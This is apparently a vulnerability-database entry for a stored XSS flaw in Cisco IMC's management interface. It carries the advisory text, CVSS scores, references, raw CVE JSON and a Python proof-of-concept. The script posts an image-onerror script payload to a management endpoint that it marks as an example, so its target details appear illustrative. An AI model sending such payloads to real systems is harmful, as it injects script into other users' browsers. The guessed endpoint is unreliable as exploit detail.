CVE-2026-20090

Description

A vulnerability in the web-based management interface of Cisco IMC could allow an authenticated, remote attacker with administrative privileges to conduct a stored XSS attack against a user of the interface. This vulnerability is due to insufficient validation of user input. An attacker could exploit this vulnerability by persuading a user of an affected interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the browser of the targeted user or access sensitive, browser-based information.

CVSS Details

CVSS Score

4.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Cisco IMC (具体受影响版本请参考Cisco Security Advisory cisco-sa-cimc-xss-A2tkgVAB)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Example endpoint vulnerable to stored XSS)
target_url = "https://<target-ip>/cgi-bin/config.cgi"

# Attacker's authenticated session cookie (requires Admin privileges)
cookies = {
    "mgmt_cookie": "admin_session_token_here"
}

# Headers
headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (XSS PoC)"
}

# Malicious payload demonstrating Stored XSS
# This payload will trigger an alert box when an admin views the configuration
payload = {
    "sys_name": "Server1<img src=x onerror=alert('XSS-By-Admin')>",
    "action": "save"
}

try:
    # Sending the POST request to inject the payload
    response = requests.post(target_url, data=payload, cookies=cookies, headers=headers, verify=False)

    if response.status_code == 200:
        print("[+] Payload injected successfully.")
        print("[+] Trigger: Navigate to the system settings page to execute the script.")
    else:
        print(f"[-] Injection failed. Status code: {response.status_code}")

except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-20090
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-20090
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-20090/
[4] VulDB https://vuldb.com/cve/CVE-2026-20090
[5] https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-xss-A2tkgVAB

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-20090", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:28.503", "lastModified": "2026-04-03T16:11:11.357", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web-based management interface of Cisco IMC could allow an authenticated, remote attacker with administrative privileges to conduct a stored XSS attack against a user of the interface.\r\n\r\nThis vulnerability is due to insufficient validation of user input. An attacker could exploit this vulnerability by persuading a user of an affected interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the browser of the targeted user or access sensitive, browser-based information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-xss-A2tkgVAB", "source": "[email protected]"}]}}